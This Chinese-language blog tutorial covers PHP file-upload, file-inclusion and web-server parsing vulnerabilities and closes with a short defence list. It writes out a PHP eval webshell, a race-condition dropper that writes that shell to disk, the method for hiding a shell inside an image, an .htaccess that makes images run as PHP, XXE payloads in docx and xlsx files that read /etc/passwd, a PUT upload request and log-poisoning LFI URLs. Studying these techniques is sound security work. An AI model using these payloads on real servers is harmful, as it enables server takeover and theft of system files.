REC

PHP 文件上传漏洞总结

易航
3天前发布 /正在检测是否收录...

 文件上传漏洞

文件上传漏洞是指后端服务器允许前端用户上传文件,但是对文件的名称、后缀、内容、大小等信息没有做过滤和控制,导致攻击者可以上传任意文件到服务器。

影响

1、上传恶意文件:比如上传后缀为.php、.jsp的文件,服务器收到后,对其没有进行校验。访问文件时,直接调用PHP解释器或JSP引擎执行,如果文件内容是可以执行系统命令的代码,攻击者就可以通过该文件获取服务器权限。

2、覆盖关键文件:服务器允许上传相同文件名的文件,如果可以通过目录遍历更改上传路径和位置,则可以覆盖关键文件。

3、DDoS攻击:如果服务器对上传文件的大小没有限制,则可以上传大量超大文件,占用服务器存储空间,消耗服务器带宽,造成DDoS攻击。

 漏洞利用

当服务器存在文件上传漏洞时,需要根据具体情况采用合适的利用办法和绕过方式等,如下。

无限制上传WebShell

服务器不管是在前端还是后端,都没有对用户上传的文件做过滤和校验,导致攻击者可以在上传点直接上传webshell到服务器,从而获取服务器控制权。

绕过Centent-Type验证上传WebShell

MIME:定义数据类型,告诉客户端或服务器,数据是什么类型,应该用什么方式处理。

Centent-Type:HTTP协议的一个字段,是MIME在HTTP协议中的应用。

Centent-Type验证属于后端的一个防护,服务器收到请求后,会验证Centent-Type类型是否被允许,如果不允许,则拒绝请求。如下图:

图片[1] - PHP 文件上传漏洞总结 - 易航博客

假设服务器只允许Centent-Type类型为image/jpeg,上传test.php,Content-Type类型是application/octet-stream,服务器收到请求后,对Centent-Type进行对比检查,如果不符,拒绝访问。

在实战利用中,可以修改Centent-Type为服务器允许的类型进行绕过,方法有二。

一、前端上传.php文件,对上传请求进行拦截,在请求包中修改Centent-Type。

二、前端上传服务器允许的文件,如.jpg,对上传请求进行拦截,在请求包中修改文件文件后缀及内容。

通过目录遍历上传WebShell

为了让攻击者无法通过上传WebShell获取服务器权限,一般会将上传目录设置为只允许上传静态文件,且没有执行权,文件不允许被当作脚本执行,就算绕过层层防护,把WebShell上传到了服务器,也无法利用。

上传成功后,访问时,会把WebShell内容直接输出,或者是将WebShell下载,而不是调用解释器执行。

图片[2] - PHP 文件上传漏洞总结 - 易航博客

遇到这种情况时,就是上传目录没有执行权,要绕过防护执行WebShell,可以通过中间件解析漏洞,或者通过目录遍历,将文件上传到可执行目录中,解析漏洞后面会详细讲,这里主要说一下目录遍历绕过。如下图:

图片[3] - PHP 文件上传漏洞总结 - 易航博客

使用../将WebShell上传到上层目录,服务器如果对目录遍历有检测,禁止使用../进行目录遍历,也可以尝试目录遍历绕过,比如将/进行URL编码或其他什么方式。

绕过黑名单上传WebShell

情况一:

为了不让攻击者上传.php、.jsp等后缀的恶意文件,服务器直接将这些后缀列入了黑名单,但是百密一疏,黑名单这种情况总会漏掉一些其他可执行的文件后缀,如下:

php > php3、php5、phtml
jsp > jspx
asp > asa、aspx

如果服务器采用黑名单防护,可以尝试其他后缀代替。

情况二:

关于覆盖服务器配置的情况,服务器怎么去处理文件,以什么方式处理,都是根据配置文件中的配置去执行的,拿Apache服务器举例,Apache的配置文件是/etc/apache2/apache2.conf,如下配置:

LoadModule php_module /usr/lib/apache2/modules/libphp.so
    AddType application/x-httpd-php .php

这段配置是告诉服务器,加载php模块,将.php文件交给php解释器处理,那假如要配置上传目录没有执行权限,是不是也要跑到/etc/apache2/apache2.conf下配置呢,其实不用,该配置文件应用于全局,也就是整个服务器,为了一个目录的配置而修改整个服务器的配置是非常不方便的,这时候就用到了.htaccess文件,这是一个只针对于目录的配置文件,不影响全局配置,怎么使用呢,只要在需要单独配置的目录下,创建.htaccess文件即可,立即生效,不需要重启服务器。

如果服务器使用黑名单防护漏掉了.htaccess文件,则可以通过上传该文件修改目录配置或权限,假如上传目录upload没有执行权,那么可以上传以下内容的.htaccess。

LoadModule php_module /usr/lib/apache2/modules/libphp.so
    AddType application/x-httpd-php .php .jpg .txt

简单理解就是后缀为.php、.jpg、.txt的文件,都交给php解释器执行,不管是图片马还是内容为木马的文本文件,都可以进行利用从而获取服务器权限。

混淆后缀上传WebShell

双写:上传WebShell到服务器后,服务器会把黑名单中的后缀替换为空,也就是去除,顺序是从左到右,且只进行一次操作,通过双写后缀进行绕过,如test.pphphp,经过替换后的文件名为test.php。

大小写:服务器验证文件后缀时,设置为区分大小写,那么就可以对文件后缀进行大小写处理,如.pHp、PhP等,因为只过滤.php,所以经过大小写处理的后缀可以被上传,又因为配置文件处理.php文件时不区分大小写,所以.pHp可以被执行。

多后缀:服务器处理上传文件时,对后缀进行检查,顺序是从后往前,具体来说就是检查从后往前的第一个点(.)第一个点(.)后面的内容就会被识别为后缀,那么webshell文件test.php则可以在后面添加允许的后缀绕过检查,test.php.jpg。也可以只加点(.),test.php.,这样的话后缀实际上就是空,空后缀没有在黑名单中,就可以绕过。

尾部字符:文件上传到服务器后,如果文件名中带空格,服务器会自动去除空格,如果上传时服务器对空格没有过滤,且加空格的后缀也没有在黑名单,就可以通过后缀加空格绕过了。上传到服务器后空格被去除,后缀被还原。

尾部符号绕过还有分号(;)和空字节的URL编码(%00),即代表结束、截断的意思,test.php;.jpg、test.php%00.jpg,上传时服务器检查后缀是.jpg,可以上传没问题,但是在执行时,分号(;)和空字节的URL编码(%00)后面的部分会被忽略,最后识别到的文件就是test.php。但只针对GET请求,如果是POST,则需要拦截请求包,在数据包中修改了,test.php0x00.jpg,0x00是空字节的十六进制编码,实际利用中需要将其替换,而不是直接输入0x00。

URL编码:如果服务器在处理上传文件时,没有解码操作,则可以将点(.)进行URL编码(%2e)绕过,test%2ephp,服务器执行该文件时会进行解码,这时文件名被还原test.php。

这只是混淆文件后缀众多方法中的一小部分。其中双写、大小写、末尾加点(.)加空格和URL编码属于是黑名单绕过范畴,而多后缀、00截断则针对的是白名单防护。

绕过文件内容检查上传WebShell

为了防止攻击者上传包含恶意代码的图片文件,服务器会对上传文件的内容做检查,检查是否具有图片的特征,如文件头的前两个字节是不是图片,内容中有没有图片的尺寸属性等等。

可以制作一个图片马进行绕过,方式如下:

copy test.jpg/b+shell.php shell.jpg

copy:windows系统复制命令。
test.jpg:合法图片文件。
/b:二进制模式,表示复制过程中,合法图片的内容不被修改,原封不动地复制。
+:附加,这里表示把shell.php文件内容附加到test.jpg文件中去。
shell.php:webshell。
shell.jpg:最后生成的图片马文件。

制作方法有很多,这里用的是copy方法,这样制作的图片马可以以图片形式正常打开,只是把webshell文件内容隐藏到了图片内容的末尾。

如果只检查文件头,则可以只修改文件头为合法的即可,如下:

JPG:0xFF 0xD8
PNG:0x89 0x50
GIF:0x47 0x49

修改文件头有很多工具和插件都可以完成,也可以使用Burp拦截上传请求后,在数据包中修改,现在代码前添加两个占位符,选中后修改其十六进制为图片即可,如下图:

图片[4] - PHP 文件上传漏洞总结 - 易航博客

条件竞争上传WebShell

现代框架处理上传文件,一般是先放到沙盒目录,比如/upload\_sandbox,用于临时存放文件和隔离上传文件,且没有执行权,文件上传到沙盒目录时还会进行随机改名处理,防止覆盖文件。接下来会检查文件的文件名、文件内容、后缀、魔数等等,如果符合要求判定为安全,才会将文件上传到真实上传目录,比如/upload,如果识别文件是危险的,则会直接删除。

但是,如果没有使用任何框架,而是自定义处理上传的文件,则会出现一种情况,就是上传文件时,没有经过任何过滤就直接存放到了服务器真实上传目录,然后才对其是否合法进行检查,合法保留,不合法删掉,检查时间可能就只有几毫秒,虽然时间很短,但仍然可以通过条件竞争方式上传WebShell。

操作只需要两步:

一、拦截上传请求,对其进行并发,文件后缀为php,内容如下:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[123])?>'); ?>

fopen('shell.php','w') :以写的模式打开shell.php,如果文件不存在就新建一个。
fputs :将 <?php @eval($_POST[123])?> 写入shell.php。

如下图:

图片[5] - PHP 文件上传漏洞总结 - 易航博客

二、拦截访问请求,对其进行并发,访问的是我们上传的test.php,上传路径可以先上传一张合法图片查看,并发过程和第一步一样,也可以修改线程,提高成功率。

上传test.php到服务器后,服务器并没有及时删除(几毫秒时间),且幸运的被访问到,则执行命令,创建WebShell。

上传其他恶意文件

除了上传WebShell获取服务器权限外,还可以上传其他恶意文件进行攻击,如下情况:

一、服务器允许上传html、svg后缀的文件,则可以构造恶意JS脚本,进行XSS攻击。

二、服务器允许上传docx、xlsx后缀的文件,则可以引入XML外部实体,进行XXE攻击。

docx和xlsx文件都是一个ZIP压缩包,其中包含多个XML文件,可以向XML文件中注入XXEPayload,方法如下:

docx

1、新建docx文件并解压。

2、解压后的文件结构如下图。

图片[6] - PHP 文件上传漏洞总结 - 易航博客

word文件夹下有多个XML文件,均可以注入,但推荐修改document.xml。

图片[7] - PHP 文件上传漏洞总结 - 易航博客

3、记事本打开文件document.xml进行修改。

4、document.xml原内容如下:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document>
    <w:body>
        <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26">
            <w:r>
                <w:rPr>
                    <w:rFonts w:hint="eastAsia"/>
                </w:rPr>
                <w:t></w:t>
            </w:r>
        </w:p>
        <w:sectPr w:rsidR="007A2F41">
            <w:pgSz w:w="11906" w:h="16838"/>
            <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/>
            <w:cols w:space="425"/>
            <w:docGrid w:type="lines" w:linePitch="312"/>
        </w:sectPr>
    </w:body>
</w:document>

修改后的内容如下:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<w:document>
    <w:body>
        <w:p w14:paraId="367FED8D" w14:textId="1728AEF6" w:rsidR="007A2F41" w:rsidRDefault="00653F26">
            <w:r>
                <w:rPr>
                    <w:rFonts w:hint="eastAsia"/>
                </w:rPr>
                <w:t>&test;</w:t>
            </w:r>
        </w:p>
        <w:sectPr w:rsidR="007A2F41">
            <w:pgSz w:w="11906" w:h="16838"/>
            <w:pgMar w:top="1440" w:right="1800" w:bottom="1440" w:left="1800" w:header="851" w:footer="992" w:gutter="0"/>
            <w:cols w:space="425"/>
            <w:docGrid w:type="lines" w:linePitch="312"/>
        </w:sectPr>
    </w:body>
</w:document>

共对两处进行了修改:

a.定义外部实体test,内容为读取服务器/etc/passwd文件。
b.在<w:t>标签中引用test实体。

5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为docx。
6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。

xlsx:

大致过程和具体细节和docx相似,但涉及的XML文件不同。

1、新建xlsx文件并解压。
2、解压后的文件结构如下图。
图片[8] - PHP 文件上传漏洞总结 - 易航博客
3、记事本打开文件sheet1.xml进行修改,位置:xl > worksheets > sheet1.xml。

4、sheet1.xml原内容如下:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet>
    <dimension ref="A1"/>
    <sheetViews>
        <sheetView tabSelected="1" workbookViewId="0"/>
    </sheetViews>
    <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/>
    <sheetData>
        <row r="1" spans="1:1" x14ac:dyDescent="0.25">
            <c r="A1" t="s">
                <v>0</v>
            </c>
        </row>
    </sheetData>
    <phoneticPr fontId="1" type="noConversion"/>
    <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/>
    <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/>
</worksheet>

修改后的内容如下:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<worksheet>
    <dimension ref="A1"/>
    <sheetViews>
        <sheetView tabSelected="1" workbookViewId="0"/>
    </sheetViews>
    <sheetFormatPr defaultRowHeight="13.8" x14ac:dyDescent="0.25"/>
    <sheetData>
        <row r="1" spans="1:1" x14ac:dyDescent="0.25">
            <c r="A1" t="s">
                <v>&test;</v>
            </c>
        </row>
    </sheetData>
    <phoneticPr fontId="1" type="noConversion"/>
    <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/>
    <pageSetup paperSize="9" orientation="portrait" r:id="rId1"/>
</worksheet>

还是定义了外部实体test并且引用,在<v>标签中。

5、修改后,将文件夹重新压缩成ZIP文件,再改后缀为xlsx。

6、打开文件时会显示文件部分内容有问题,是否恢复,点否即可。

如果服务器允许解析XML外部实体,上传后观察响应,是否返回内容,也不排除盲的情况,可以将定义的外部实体内容修改为自己的dnslog地址进行测试。

使用PUT上传文件

如果服务器允许PUT方法,即使没有上传点,也可以进行文件上传,如下请求:

PUT /images/test.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49
<?php @eval($_POST[123]); ?>

可以通过OPTIONS方法向服务器发送预检请求,判断是否允许PUT方法。

 文件包含

文件包含漏洞主要出现在PHP开发的Web应用中,在开发的时候,有很多地方会用到相同的代码,每次都重复写一遍太麻烦,为了方便,会使用文件包含函数直接包含代码文件,如果文件包含函数对包含的文件没有进行过滤和校验,就会造成文件包含漏洞。

include():包含文件不存在或出错,程序继续运行。
require():包含文件不存在或出错,程序终止运行。
include_once():如果相同的文件已被包含,不再进行二次包含操作。
require_once():如果相同的文件已被包含,不再进行二次包含操作。

文件包含又分为本地包含(LFI)和远程包含(RFI),包含路径用相对路径或绝对路径都可以,RFI需要PHP配置allow\_url\_include=on。

LFI:https://example.com/index.php?file=../../upload/shell.php
RFI:https://example.com/index.php?file=https://test.com/upload/shell.php

利用文件包含漏洞执行WebShell

在防御文件上传攻击时,服务器使用了白名单校验,但是,如果服务器存在文件包含漏洞的话,攻击者依然可以执行WebShell获取服务器权限。

制作图片马,或其他包含恶意代码的合法文件上传至服务器绕过白名单校验,通过对该文件进行包含,让服务器去执行,PHP在执行include()或require()时,不会验证后缀,只会读取内容,如果是PHP代码,则会使用PHP解释器执行。

通过写入日志执行WebShell

服务器使用了更强大的防护机制,不仅检查文件后缀,还对文件内容进行了严格校验,只要包含恶意代码,一律拒绝上传,这样的话就无法通过上传方式执行WebShell获取服务器权限了,但是,如果服务器存在文件包含漏洞,可以直接包含恶意代码,将代码写入日志文件,再包含日志文件执行WebShell。

https://example.com/index.php?file=<?php @eval($_POST[123]); ?>

如果在浏览器包含执行,浏览器会把特殊符号进行URL编码,可以通过Burp发送。

图片[9] - PHP 文件上传漏洞总结 - 易航博客

400的原因是包含的文件不存在,查看日志文件,木马成功写入。

图片[10] - PHP 文件上传漏洞总结 - 易航博客

再包含日志文件就可以执行WebShell了,默认访问日志文件路径参考:

nginx:
/var/log/nginx/access.log

apache:
/var/log/apache2/access.log
/var/log/httpd/access_log

 解析漏洞

从客户端发送请求,到数据库收到请求,这中间经过的程序都叫中间件,而解析漏洞主要说的是Web服务应用程序,也就是IIS、Apache、Nginx等等,这里就先简单讲一下关于这三个中间件的解析漏洞。

IIS

IIS分低版本(IIS 5.x-IIS 6.x)和高版本(IIS 7.x及以上),低版本只能解析asp的WebShell。方法如下:

目录解析:

服务器会把后缀为.asp文件夹下的文件,都按asp文件解析执行,如下:

https://example.com/upload/test.asp/test.jpg

如果上传路径可控,可以添加一个以.asp为后缀的文件夹,把图片马放到该目录下上传,访问执行WebShell。

文件解析:

之前将混淆后缀的时候讲到过,就是在后缀后面加个分号(;)在跟一个合法后缀,如下:

https://example.com/upload/test.asp;.jpg

解析的时候分号(;)代表结束,所以后面的内容不会解析,解析文件就成了test.asp。

格式解析:

有些后缀服务器也会当作asp解析,比如.asa、cer、cdx等等,具体可以查看ISAPI扩展。

https://example.com/upload/test.cer

IIS7.x版本也存在解析漏洞,跟Nginx的解析漏洞一样, 这就不讲了,统一在Nginx解析漏洞中讲。

Apache

解析顺序:

Apache服务器解释的时候顺序是从右往左,如果添加服务器无法识别的后缀会发生什么呢,如下:

https://example.com/upload/test.php.aaa.bbb

假如往服务器上传了一个test.php.aaa.bbb文件,正常情况下肯定是访问失败,但是Apache低版本(Apache2.2及以下)是可以正常解析的,访问执行时,服务器从右往左开始解析后缀,如果无法解析,就会继续向左解析,直到碰到可以解析的后缀,那么test.php.aaa.bbb文件最后就会被解析成test.php。

配置文件:

上面也提到过,就是AddType application/x-httpd-php配置,该配置的意思是什么后缀会被当成php代码解析,如果配置不当,将一些合法后缀添加到该配置项,就会被攻击者利用,造成安全问题,如下:

AddType application/x-httpd-php .php .jpg .txt

Nginx

跟php和nginx的配置有关,先看一下正常情况,向服务器上传图片马绕过白名单校验。

https://example.com/upload/test.jpg

在图片马后添加一个不存在的php文件,如下:

https://example.com/upload/test.jpg/123.php

正常肯定返回404页面不存在,但是如果nginx错误配置try\_files,收到请求后,不会去检查文件是否存在,而是看是什么类型的文件,如果是php,直接交给php解释器去执行,php配置cgi.fix\_pathinfo,默认值为1,表示开启,0是关闭,正常情况,php解释器会检查123.php是否存在,如果不存则响应404,但是使用cgi.fix\_pathinfo配置后,如果123.php不存在,则会检查上一层目录是否存在,以此类推,检查到test.jpg时,发现test.jpg存在,php解释器就会把test.jpg当作php解析执行。

所以测试的时候,在图片马后加一个不存在的php文件判断就行了。

 绕过

文件上传漏洞绕过总结,如下图:

图片[11] - PHP 文件上传漏洞总结 - 易航博客

 预防攻击

可以借鉴以下方式对文件上传漏洞进行防御和修复。

白名单校验

对文件后缀进行白名单校验,只允许上传白名单中被允许后缀的文件,例如只允许上传.jpg、.png类型文件。同时对MIME类型进行检查。

检查文件内容

对上传文件的内容进行严格检查,如果存在恶意代码,拒绝上传,检查文件名,防止覆盖文件,或者对上传到服务器的文件进行修改随即名处理。

上传目录权限

设置上传目录为只允许上传静态文件,避免上传目录拥有执行权,防止攻击者绕过防护上传WebShell到服务器执行。

使用安全框架

尽量使用安全的框架处理文件上传,如果使用自定义,请做好安全防护。

安全的中间件

使用最新版本的中间件,及时更新,正确配置,避免攻击者利用中间件解析漏洞进行文件上传漏洞利用。

 总结

如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!

© 版权声明
本站用户发帖仅代表本站用户个人观点,并不代表本站赞同其观点和对其真实性负责。
转载本网站任何内容,请按照转载方式正确书写本站原文地址。
THE END
喜欢就支持一下吧
点赞 0 分享 赞赏
评论 抢沙发
取消 登录评论